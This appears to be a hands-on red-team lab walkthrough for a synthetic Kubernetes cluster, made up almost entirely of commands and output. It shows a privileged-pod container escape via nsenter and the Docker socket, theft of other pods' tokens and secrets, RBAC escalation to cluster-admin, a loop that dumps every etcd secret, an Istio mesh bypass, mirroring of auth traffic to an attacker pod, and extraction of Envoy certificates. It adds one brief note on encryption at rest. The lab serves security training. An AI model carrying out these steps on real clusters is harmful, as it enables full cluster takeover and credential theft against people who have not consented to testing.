Lab 26: Container & Kubernetes Red Teaming¶

# Create a local Kubernetes cluster with kind (SYNTHETIC)
# kind-config.yaml enables multiple nodes for realistic attack surface
$ cat <<'EOF' > kind-config.yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
  - role: control-plane
    extraMounts:
      - hostPath: /var/run/docker.sock
        containerPath: /var/run/docker.sock
  - role: worker
    extraPortMappings:
      - containerPort: 30080
        hostPort: 30080
  - role: worker
  - role: worker
EOF

$ kind create cluster --name skyforge-lab --config kind-config.yaml
Creating cluster "skyforge-lab" ...
 ✓ Ensuring node image (kindest/node:v1.29.2)
 ✓ Preparing nodes 📦 📦 📦 📦
 ✓ Writing configuration 📝
 ✓ Starting control-plane 🕹️
 ✓ Installing CNI 🔌
 ✓ Installing StorageClass 💾
 ✓ Joining worker nodes 🚜
Set kubectl context to "kind-skyforge-lab"

# Verify cluster is running
$ kubectl cluster-info --context kind-skyforge-lab
Kubernetes control plane is running at https://127.0.0.1:38291
CoreDNS is running at https://127.0.0.1:38291/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

# Create namespaces
$ kubectl create namespace skyforge-prod
namespace/skyforge-prod created

$ kubectl create namespace skyforge-ci
namespace/skyforge-ci created

$ kubectl create namespace monitoring
namespace/monitoring created

$ kubectl create namespace istio-system
namespace/istio-system created

$ kubectl create namespace skyforge-staging
namespace/skyforge-staging created

# Deploy the vulnerable data-processor pod (initial foothold)
$ cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: ServiceAccount
metadata:
  name: data-processor-sa
  namespace: skyforge-prod
---
apiVersion: v1
kind: Pod
metadata:
  name: data-processor
  namespace: skyforge-prod
  labels:
    app: data-processor
    version: v2.1.0
spec:
  serviceAccountName: data-processor-sa
  containers:
  - name: processor
    image: registry.helios.example.com/skyforge/data-processor:2.1.0
    securityContext:
      privileged: true
      capabilities:
        add: ["SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN"]
    volumeMounts:
    - name: host-fs
      mountPath: /host
    - name: docker-sock
      mountPath: /var/run/docker.sock
    env:
    - name: DB_CONNECTION
      value: "postgresql://analytics:REDACTED@10.60.2.10:5432/skyforge"
    - name: REDIS_URL
      value: "redis://10.60.2.20:6379"
  volumes:
  - name: host-fs
    hostPath:
      path: /
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
EOF
pod/data-processor created

# Deploy additional microservices
$ cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: auth-service
  namespace: skyforge-prod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: auth-service
  template:
    metadata:
      labels:
        app: auth-service
        version: v1.8.3
    spec:
      serviceAccountName: auth-service-sa
      containers:
      - name: auth
        image: registry.helios.example.com/skyforge/auth-service:1.8.3
        ports:
        - containerPort: 8080
        env:
        - name: JWT_SECRET
          valueFrom:
            secretKeyRef:
              name: auth-secrets
              key: jwt-secret
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: api-gateway
  namespace: skyforge-prod
spec:
  replicas: 3
  selector:
    matchLabels:
      app: api-gateway
  template:
    metadata:
      labels:
        app: api-gateway
        version: v3.2.1
    spec:
      containers:
      - name: gateway
        image: registry.helios.example.com/skyforge/api-gateway:3.2.1
        ports:
        - containerPort: 443
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: report-engine
  namespace: skyforge-prod
spec:
  replicas: 1
  selector:
    matchLabels:
      app: report-engine
  template:
    metadata:
      labels:
        app: report-engine
        version: v1.4.0
    spec:
      containers:
      - name: reports
        image: registry.helios.example.com/skyforge/report-engine:1.4.0
        ports:
        - containerPort: 8443
EOF
deployment.apps/auth-service created
deployment.apps/api-gateway created
deployment.apps/report-engine created

# Create secrets used by the workloads
$ kubectl create secret generic auth-secrets \
  --from-literal=jwt-secret=REDACTED \
  --from-literal=oauth-client-secret=REDACTED \
  -n skyforge-prod
secret/auth-secrets created

$ kubectl create secret generic db-credentials \
  --from-literal=username=skyforge_admin \
  --from-literal=password=REDACTED \
  --from-literal=connection-string="postgresql://skyforge_admin:REDACTED@10.60.2.10:5432/skyforge" \
  -n skyforge-prod
secret/db-credentials created

$ kubectl create secret generic tls-certs \
  --from-literal=tls.crt=REDACTED-CERTIFICATE-DATA \
  --from-literal=tls.key=REDACTED-PRIVATE-KEY-DATA \
  -n skyforge-prod
secret/tls-certs created

$ kubectl create secret generic registry-creds \
  --from-literal=.dockerconfigjson='{"auths":{"registry.helios.example.com":{"auth":"REDACTED"}}}' \
  --type=kubernetes.io/dockerconfigjson \
  -n skyforge-ci
secret/registry-creds created

# Overly permissive ClusterRole — common misconfiguration
$ cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: skyforge-developer
rules:
- apiGroups: [""]
  resources: ["pods", "pods/exec", "pods/log", "services", "configmaps"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]
- apiGroups: ["apps"]
  resources: ["deployments", "replicasets", "daemonsets"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: skyforge-developer-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: skyforge-developer
subjects:
- kind: ServiceAccount
  name: data-processor-sa
  namespace: skyforge-prod
---
# Dangerous: CI/CD SA with escalation path
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ci-deployer
rules:
- apiGroups: [""]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["apps"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["*"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: ci-deployer-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: ci-deployer
subjects:
- kind: ServiceAccount
  name: deploy-pipeline-sa
  namespace: skyforge-ci
EOF
clusterrole.rbac.authorization.k8s.io/skyforge-developer created
clusterrolebinding.rbac.authorization.k8s.io/skyforge-developer-binding created
clusterrole.rbac.authorization.k8s.io/ci-deployer created
clusterrolebinding.rbac.authorization.k8s.io/ci-deployer-binding created

# You have a shell inside the compromised data-processor pod
# First: identify where you are and what you have

$ whoami
root

$ hostname
data-processor

$ cat /etc/os-release | head -3
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"

# Check if this is a Kubernetes pod
$ env | grep -i kube
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443

# Locate the service account token (auto-mounted)
$ ls -la /var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3 root root  140 Apr  7 08:15 .
drwxr-xr-x 3 root root 4096 Apr  7 08:15 ..
lrwxrwxrwx 1 root root   13 Apr  7 08:15 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Apr  7 08:15 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Apr  7 08:15 token -> ..data/token

$ cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
skyforge-prod

# Store the token for later use
$ export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
$ export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}

# Check if we're running as privileged
$ cat /proc/1/status | grep -i cap
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

# Decode capabilities using capsh
$ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,
cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,
cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,
cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,
cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,
cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,
cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,
cap_wake_alarm,cap_block_suspend,cap_audit_read

# Check security context — is this pod privileged?
$ cat /proc/1/cgroup
0::/system.slice/containerd.service

# Check if we can see host PID namespace
$ ls /proc/ | head -20
1
2
3
...
47
48
50
...

# Verify — can we see host processes? (privileged + hostPID would show them)
$ ps aux | head -10
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1   0.0  0.1  5340  3020 ?        Ss   08:15   0:00 /bin/sh -c python3 /app/processor.py
root        15   0.5  2.1 52340 42000 ?        Sl   08:15   0:12 python3 /app/processor.py
root        89   0.0  0.0  2388   696 pts/0    Ss   08:30   0:00 /bin/sh
root        95   0.0  0.0  7060  1580 pts/0    R+   08:31   0:00 ps aux

# Enumerate mount points
$ mount | grep -E "(host|docker|containerd)"
/dev/sda1 on /host type ext4 (rw,relatime)
tmpfs on /var/run/docker.sock type tmpfs (rw,nosuid,nodev,noexec)

# The host root filesystem is mounted at /host!
$ ls /host/
bin   dev  home  lib    lib64  media  opt   root  sbin  srv  tmp  var
boot  etc  host  lib32  lost+found  mnt    proc  run   snap  sys  usr

# We also have the Docker socket
$ ls -la /var/run/docker.sock
srw-rw---- 1 root 998 0 Apr  7 08:00 /var/run/docker.sock

# Check /proc/1/root — can we reach the host init process?
$ ls /proc/1/root/
bin   dev  home  lib    lib64  media  opt   root  sbin  srv  tmp  var
boot  etc  host  lib32  lost+found  mnt    proc  run   snap  sys  usr

# Method 1: nsenter — enter host namespaces from the container
# This works because we have SYS_ADMIN + SYS_PTRACE capabilities

# EDUCATIONAL PSEUDOCODE — demonstrates the technique for defensive understanding
# nsenter targets PID 1 on the host (the init process)
$ nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# After nsenter, we are now operating in the HOST's namespace
$ hostname
ip-10-60-1-10.ec2.internal

$ whoami
root

$ cat /etc/hostname
ip-10-60-1-10.ec2.internal

# Verify we're on the host by checking for kubelet
$ ps aux | grep kubelet | head -3
root      1247  3.2  4.5 1987432 91240 ?     Ssl  08:00   0:45 /usr/bin/kubelet \
  --config=/var/lib/kubelet/config.yaml \
  --container-runtime-endpoint=unix:///run/containerd/containerd.sock \
  --kubeconfig=/etc/kubernetes/kubelet.conf \
  --node-ip=10.60.1.10 \
  --v=2

# We have escaped the container and are now root on the node!
$ id
uid=0(root) gid=0(root) groups=0(root)

# Now on the host node — enumerate all containers running on this node
$ crictl ps
CONTAINER       IMAGE           CREATED         STATE     NAME             POD ID
a1b2c3d4e5f6    registry...     2 hours ago     Running   data-processor   f1e2d3c4b5
b2c3d4e5f6a1    registry...     2 hours ago     Running   analytics-worker g2f3e4d5c6
c3d4e5f6a1b2    registry...     2 hours ago     Running   auth-service     h3g4f5e6d7

# Inspect another pod's filesystem
$ crictl inspect b2c3d4e5f6a1 | jq '.info.runtimeSpec.mounts[] | select(.destination | contains("secret"))'
{
  "destination": "/var/run/secrets/kubernetes.io/serviceaccount",
  "type": "bind",
  "source": "/var/lib/kubelet/pods/g2f3e4d5c6/volumes/kubernetes.io~projected/kube-api-access-xxxxx",
  "options": ["rbind", "rprivate", "ro"]
}

# Read another pod's service account token
$ cat /var/lib/kubelet/pods/g2f3e4d5c6/volumes/kubernetes.io~projected/kube-api-access-xxxxx/token
eyJhbGciOiJSUzI1NiIsImtpZCI6InN5bnRoZXRpYy1rZXkifQ.SYNTHETIC_TOKEN_ANALYTICS_WORKER.REDACTED_SIGNATURE

# Access another pod's environment variables (may contain secrets)
$ crictl inspect b2c3d4e5f6a1 | jq '.info.runtimeSpec.process.env[]' | grep -i -E "(pass|secret|key|token)"
"DB_PASSWORD=REDACTED"
"API_KEY=REDACTED"
"ANALYTICS_TOKEN=REDACTED"

# Read mounted secret volumes from other pods
$ find /var/lib/kubelet/pods/ -path "*/secrets/*" -type f 2>/dev/null
/var/lib/kubelet/pods/g2f3e4d5c6/volumes/kubernetes.io~secret/db-creds/username
/var/lib/kubelet/pods/g2f3e4d5c6/volumes/kubernetes.io~secret/db-creds/password
/var/lib/kubelet/pods/h3g4f5e6d7/volumes/kubernetes.io~secret/auth-secrets/jwt-secret
/var/lib/kubelet/pods/h3g4f5e6d7/volumes/kubernetes.io~secret/auth-secrets/oauth-client-secret

$ cat /var/lib/kubelet/pods/h3g4f5e6d7/volumes/kubernetes.io~secret/auth-secrets/jwt-secret
REDACTED

# Method 2: Docker socket escape (if mounted)
# Back inside the original container

# EDUCATIONAL PSEUDOCODE — demonstrates the technique for defensive understanding
# Use the mounted Docker socket to create a privileged container on the host
$ docker -H unix:///var/run/docker.sock run -it --privileged \
  --net=host --pid=host --ipc=host \
  -v /:/host \
  registry.helios.example.com/skyforge/base-image:latest \
  chroot /host /bin/bash

# This creates a new container with host namespace access
# effectively giving a root shell on the host

# Set up API access using the compromised service account token
$ export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ export APISERVER=https://10.96.0.1:443
$ alias k="kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify"

# What can this service account do?
$ k auth can-i --list
Resources                                       Non-Resource URLs   Resource Names   Verbs
pods                                            []                  []               [get list watch create update patch delete]
pods/exec                                       []                  []               [get list watch create update patch delete]
pods/log                                        []                  []               [get list watch create update patch delete]
services                                        []                  []               [get list watch create update patch delete]
configmaps                                      []                  []               [get list watch create update patch delete]
secrets                                         []                  []               [get list]
deployments.apps                                []                  []               [get list watch create update patch delete]
replicasets.apps                                []                  []               [get list watch create update patch delete]
daemonsets.apps                                 []                  []               [get list watch create update patch delete]
clusterroles.rbac.authorization.k8s.io          []                  []               [get list watch]
clusterrolebindings.rbac.authorization.k8s.io   []                  []               [get list watch]
roles.rbac.authorization.k8s.io                 []                  []               [get list watch]
rolebindings.rbac.authorization.k8s.io          []                  []               [get list watch]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

# List all ClusterRoles
$ k get clusterroles -o custom-columns=NAME:.metadata.name,RULES:.rules[*].verbs | head -20
NAME                          RULES
admin                         [*]
ci-deployer                   [*]
cluster-admin                 [*]
edit                          [create delete deletecollection get list patch update watch]
skyforge-developer            [get list watch create update patch delete]
system:aggregate-to-admin     [*]
system:aggregate-to-edit      [create delete deletecollection patch update]
view                          [get list watch]
...

# Inspect the suspicious ci-deployer ClusterRole
$ k get clusterrole ci-deployer -o yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ci-deployer
rules:
- apiGroups: [""]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["apps"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["*"]
  verbs: ["*"]

# Who is bound to ci-deployer?
$ k get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="ci-deployer") | {name: .metadata.name, subjects: .subjects}'
{
  "name": "ci-deployer-binding",
  "subjects": [
    {
      "kind": "ServiceAccount",
      "name": "deploy-pipeline-sa",
      "namespace": "skyforge-ci"
    }
  ]
}

# Since we can list secrets, find the CI/CD service account token
$ k get secrets -n skyforge-ci
NAME                              TYPE                                  DATA   AGE
default-token-xxxxx               kubernetes.io/service-account-token   3      5d
deploy-pipeline-sa-token-yyyyy    kubernetes.io/service-account-token   3      5d
registry-creds                    kubernetes.io/dockerconfigjson        1      5d

# Read the CI/CD service account token
$ k get secret deploy-pipeline-sa-token-yyyyy -n skyforge-ci -o jsonpath='{.data.token}' | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6InN5bnRoZXRpYy1rZXkifQ.SYNTHETIC_TOKEN_CI_DEPLOYER.REDACTED_SIGNATURE

# Store it
$ export CI_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6InN5bnRoZXRpYy1rZXkifQ.SYNTHETIC_TOKEN_CI_DEPLOYER.REDACTED_SIGNATURE"
$ alias kci="kubectl --token=$CI_TOKEN --server=$APISERVER --insecure-skip-tls-verify"

# Verify escalated permissions
$ kci auth can-i --list | head -10
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]

# Use the CI/CD service account to create a privileged debug pod
# EDUCATIONAL PSEUDOCODE — demonstrates the technique for defensive understanding

$ cat <<'EOF' | kci apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: debug-pod-attacker
  namespace: skyforge-prod
  labels:
    app: debug-tools
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: debug
    image: registry.helios.example.com/skyforge/base-image:latest
    command: ["/bin/sh", "-c", "sleep 86400"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  nodeSelector:
    kubernetes.io/hostname: ip-10-60-1-20.ec2.internal
EOF
pod/debug-pod-attacker created

# Exec into the debug pod — now we're on Node 2
$ kci exec -it debug-pod-attacker -n skyforge-prod -- /bin/bash
root@ip-10-60-1-20:/# hostname
ip-10-60-1-20.ec2.internal

# Since ci-deployer can modify RBAC, create a cluster-admin binding for our original SA
# EDUCATIONAL PSEUDOCODE — demonstrates the technique for defensive understanding

$ cat <<'EOF' | kci apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: data-processor-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: data-processor-sa
  namespace: skyforge-prod
EOF
clusterrolebinding.rbac.authorization.k8s.io/data-processor-admin created

# Now our original service account has cluster-admin!
$ k auth can-i --list | head -5
Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

$ k auth can-i '*' '*' --all-namespaces
yes

# List all secrets across ALL namespaces
$ k get secrets --all-namespaces | wc -l
47

# List all nodes
$ k get nodes -o wide
NAME                              STATUS   ROLES           AGE   VERSION   INTERNAL-IP   EXTERNAL-IP     OS-IMAGE
ip-10-60-1-10.ec2.internal       Ready    control-plane   5d    v1.29.2   10.60.1.10    203.0.113.40    Ubuntu 22.04
ip-10-60-1-20.ec2.internal       Ready    <none>          5d    v1.29.2   10.60.1.20    203.0.113.43    Ubuntu 22.04
ip-10-60-1-30.ec2.internal       Ready    <none>          5d    v1.29.2   10.60.1.30    203.0.113.44    Ubuntu 22.04

# Access secrets in kube-system namespace
$ k get secret -n kube-system
NAME                      TYPE                            DATA   AGE
bootstrap-token-xxxxx     bootstrap.kubernetes.io/token   6      5d
cloud-provider-config     Opaque                          1      5d
etcd-certs                kubernetes.io/tls               3      5d

# Enumerate all service accounts
$ k get sa --all-namespaces | wc -l
23

# After escaping to the control plane node (10.60.1.10)
# Locate etcd process
$ ps aux | grep etcd
root      2847  5.1  8.2 10794532 167280 ?    Ssl  Apr07   4:32 /usr/local/bin/etcd \
  --advertise-client-urls=https://10.60.1.10:2379 \
  --cert-file=/etc/kubernetes/pki/etcd/server.crt \
  --client-cert-auth=true \
  --data-dir=/var/lib/etcd \
  --key-file=/etc/kubernetes/pki/etcd/server.key \
  --listen-client-urls=https://127.0.0.1:2379,https://10.60.1.10:2379 \
  --listen-peer-urls=https://10.60.1.10:2380 \
  --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt

# Note the certificate locations — we need these to authenticate
$ ls -la /etc/kubernetes/pki/etcd/
total 40
drwxr-xr-x 2 root root 4096 Apr  7 08:00 .
drwxr-xr-x 3 root root 4096 Apr  7 08:00 ..
-rw-r--r-- 1 root root 1058 Apr  7 08:00 ca.crt
-rw------- 1 root root 1679 Apr  7 08:00 ca.key
-rw-r--r-- 1 root root 1159 Apr  7 08:00 healthcheck-client.crt
-rw------- 1 root root 1679 Apr  7 08:00 healthcheck-client.key
-rw-r--r-- 1 root root 1159 Apr  7 08:00 peer.crt
-rw------- 1 root root 1679 Apr  7 08:00 peer.key
-rw-r--r-- 1 root root 1159 Apr  7 08:00 server.crt
-rw------- 1 root root 1679 Apr  7 08:00 server.key

# Verify etcd is accessible
$ export ETCDCTL_API=3
$ export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
$ export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/server.crt
$ export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/server.key
$ export ETCDCTL_ENDPOINTS=https://127.0.0.1:2379

$ etcdctl endpoint health
https://127.0.0.1:2379 is healthy: successfully committed proposal: took = 2.108775ms

# List all keys in etcd (Kubernetes stores data under /registry/)
$ etcdctl get / --prefix --keys-only | head -30
/registry/apiregistration.k8s.io/apiservices/v1.
/registry/apiregistration.k8s.io/apiservices/v1.apps
/registry/clusterrolebindings/ci-deployer-binding
/registry/clusterrolebindings/cluster-admin
/registry/clusterrolebindings/data-processor-admin
/registry/clusterrolebindings/skyforge-developer-binding
/registry/clusterroles/ci-deployer
/registry/clusterroles/cluster-admin
/registry/clusterroles/skyforge-developer
/registry/configmaps/skyforge-prod/data-processor-config
/registry/deployments/skyforge-prod/api-gateway
/registry/deployments/skyforge-prod/auth-service
/registry/deployments/skyforge-prod/report-engine
/registry/namespaces/default
/registry/namespaces/istio-system
/registry/namespaces/kube-system
/registry/namespaces/monitoring
/registry/namespaces/skyforge-ci
/registry/namespaces/skyforge-prod
/registry/namespaces/skyforge-staging
/registry/pods/skyforge-prod/data-processor
/registry/secrets/default/default-token-xxxxx
/registry/secrets/kube-system/bootstrap-token-xxxxx
/registry/secrets/kube-system/cloud-provider-config
/registry/secrets/kube-system/etcd-certs
/registry/secrets/skyforge-ci/deploy-pipeline-sa-token-yyyyy
/registry/secrets/skyforge-ci/registry-creds
/registry/secrets/skyforge-prod/auth-secrets
/registry/secrets/skyforge-prod/db-credentials
/registry/secrets/skyforge-prod/tls-certs

# Count total secrets
$ etcdctl get /registry/secrets --prefix --keys-only | wc -l
18

# Extract the database credentials secret
$ etcdctl get /registry/secrets/skyforge-prod/db-credentials
# Output is binary protobuf — use -w fields to see structured data

$ etcdctl get /registry/secrets/skyforge-prod/db-credentials -w fields
"Key" : "/registry/secrets/skyforge-prod/db-credentials"
"Value" : "k8s\x00\n\x0f\n\x02v1\x12\x06Secret\x..."

# The raw output is protobuf-encoded. Extract just the data portion:
$ etcdctl get /registry/secrets/skyforge-prod/db-credentials -w json | jq -r '.kvs[0].value' | base64 -d
{
  "apiVersion": "v1",
  "kind": "Secret",
  "metadata": {
    "name": "db-credentials",
    "namespace": "skyforge-prod"
  },
  "data": {
    "username": "c2t5Zm9yZ2VfYWRtaW4=",
    "password": "UkVEQUNURUQ=",
    "connection-string": "cG9zdGdyZXNxbDovL3NreWZvcmdlX2FkbWluOlJFREFDVEVEQDEwLjYwLjIuMTA6NTQzMi9za3lmb3JnZQ=="
  }
}

# Decode the base64 values
$ echo "c2t5Zm9yZ2VfYWRtaW4=" | base64 -d
skyforge_admin

$ echo "UkVEQUNURUQ=" | base64 -d
REDACTED

$ echo "cG9zdGdyZXNxbDovL3NreWZvcmdlX2FkbWluOlJFREFDVEVEQDEwLjYwLjIuMTA6NTQzMi9za3lmb3JnZQ==" | base64 -d
postgresql://skyforge_admin:REDACTED@10.60.2.10:5432/skyforge

# EDUCATIONAL PSEUDOCODE — demonstrates the scope of the threat
# Extract all secrets from all namespaces in one operation

$ for key in $(etcdctl get /registry/secrets --prefix --keys-only); do
    echo "=== $key ==="
    etcdctl get "$key" -w json | jq -r '.kvs[0].value' | base64 -d 2>/dev/null | \
      python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'  {k}: {__import__(\"base64\").b64decode(v).decode()}') for k,v in d.get('data',{}).items()]" 2>/dev/null
done

# Check if etcd encryption at rest is configured
$ cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep encryption
# If no output — encryption at rest is NOT configured

# Check for EncryptionConfiguration
$ ls /etc/kubernetes/enc/
ls: cannot access '/etc/kubernetes/enc/': No such file or directory
# Encryption config does not exist — secrets are stored in plaintext

# What proper encryption configuration looks like:
$ cat <<'EOF'
# RECOMMENDED: EncryptionConfiguration for secrets at rest
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
      - configmaps
    providers:
      - aescbc:
          keys:
            - name: key1
              secret: REDACTED-BASE64-ENCODED-32-BYTE-KEY
      - identity: {}  # Fallback for reading unencrypted data
EOF

# To enable, add to kube-apiserver manifest:
# --encryption-provider-config=/etc/kubernetes/enc/encryption-config.yaml

# Check if Istio is installed and which version
$ k get pods -n istio-system
NAME                                    READY   STATUS    RESTARTS   AGE
istio-ingressgateway-7b4c9d5f8-x9k2m   1/1     Running   0          5d
istiod-6f8c4d9b7-p4m2n                  1/1     Running   0          5d

$ k get svc -n istio-system
NAME                   TYPE           CLUSTER-IP    EXTERNAL-IP     PORT(S)
istio-ingressgateway   LoadBalancer   10.96.0.100   203.0.113.42    80:30080/TCP,443:30443/TCP
istiod                 ClusterIP      10.96.0.50    <none>          15010/TCP,15012/TCP,443/TCP,15014/TCP

# Check mTLS mode
$ k get peerauthentication --all-namespaces
NAMESPACE        NAME           MODE         AGE
istio-system     default        PERMISSIVE   5d
skyforge-prod    mesh-policy    PERMISSIVE   5d

# Check if all pods have sidecar injection
$ k get pods -n skyforge-prod -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].name}{"\n"}{end}'
data-processor      processor
auth-service-xxx    auth istio-proxy
auth-service-yyy    auth istio-proxy
api-gateway-xxx     gateway istio-proxy
api-gateway-yyy     gateway istio-proxy
api-gateway-zzz     gateway istio-proxy
report-engine-xxx   reports istio-proxy

# From the data-processor pod (no sidecar), communicate directly with auth-service
# Bypass the mesh by hitting the pod IP instead of the service

# Get auth-service pod IP
$ k get pods -n skyforge-prod -l app=auth-service -o wide
NAME                  READY   STATUS    IP           NODE
auth-service-abc123   2/2     Running   10.244.1.15  ip-10-60-1-20.ec2.internal
auth-service-def456   2/2     Running   10.244.2.22  ip-10-60-1-30.ec2.internal

# Direct HTTP request to auth-service pod (bypassing Envoy sidecar)
# Because mTLS is PERMISSIVE, the application port accepts plaintext
$ curl -s http://10.244.1.15:8080/api/v1/users/1
{
  "id": 1,
  "username": "admin",
  "email": "admin@helios.example.com",
  "role": "cluster-admin",
  "last_login": "2026-04-07T07:30:00Z"
}

# This request was NOT encrypted, NOT logged by Istio telemetry,
# and NOT subject to Istio authorization policies

# With cluster-admin (from Exercise 2), modify Istio VirtualService
# to redirect traffic destined for auth-service to our data-processor pod

# First, check existing VirtualServices
$ k get virtualservices -n skyforge-prod
NAME              GATEWAYS   HOSTS             AGE
api-gateway-vs    [mesh]     [api.helios.example.com]   5d
auth-service-vs   [mesh]     [auth-service]             5d

$ k get virtualservice auth-service-vs -n skyforge-prod -o yaml
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
  name: auth-service-vs
  namespace: skyforge-prod
spec:
  hosts:
  - auth-service
  http:
  - route:
    - destination:
        host: auth-service
        port:
          number: 8080
      weight: 100

# EDUCATIONAL PSEUDOCODE — demonstrates the technique for defensive understanding
# Modify VirtualService to mirror traffic to attacker-controlled endpoint
$ cat <<'EOF' | k apply -f -
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
  name: auth-service-vs
  namespace: skyforge-prod
spec:
  hosts:
  - auth-service
  http:
  - route:
    - destination:
        host: auth-service
        port:
          number: 8080
      weight: 100
    mirror:
      host: data-processor
      port:
        number: 9090
    mirrorPercentage:
      value: 100.0
EOF
virtualservice.networking.istio.io/auth-service-vs configured

# Now ALL traffic to auth-service is mirrored to our data-processor pod
# This includes authentication requests with credentials

# Istio sidecar proxies hold mTLS certificates — extract them
# from a pod that has the istio-proxy sidecar

# EDUCATIONAL PSEUDOCODE — demonstrates the technique for defensive understanding
# Connect to the auth-service's istio-proxy sidecar
$ k exec -it auth-service-abc123 -n skyforge-prod -c istio-proxy -- /bin/bash

# Istio stores certificates in /etc/certs/ or via SDS
$ ls /etc/certs/ 2>/dev/null || echo "SDS mode — certs delivered via Envoy SDS API"
SDS mode — certs delivered via Envoy SDS API

# Check Envoy admin interface for certificate information
$ curl -s localhost:15000/certs
{
  "certificates": [
    {
      "ca_cert": [
        {
          "path": "\u003cinline\u003e",
          "serial_number": "REDACTED",
          "subject_alt_names": [
            {
              "uri": "spiffe://cluster.local/ns/istio-system/sa/istiod"
            }
          ],
          "days_until_expiration": "364",
          "valid_from": "2026-04-07T00:00:00Z",
          "expiration_time": "2027-04-07T00:00:00Z"
        }
      ],
      "cert_chain": [
        {
          "path": "\u003cinline\u003e",
          "serial_number": "REDACTED",
          "subject_alt_names": [
            {
              "uri": "spiffe://cluster.local/ns/skyforge-prod/sa/auth-service-sa"
            }
          ],
          "days_until_expiration": "0",
          "valid_from": "2026-04-07T08:00:00Z",
          "expiration_time": "2026-04-08T08:00:00Z"
        }
      ]
    }
  ]
}

# Extract the actual certificate and key from Envoy SDS
$ curl -s localhost:15000/config_dump | jq '.configs[] | select(.["@type"] | contains("SecretsConfigDump"))' > secrets_dump.json

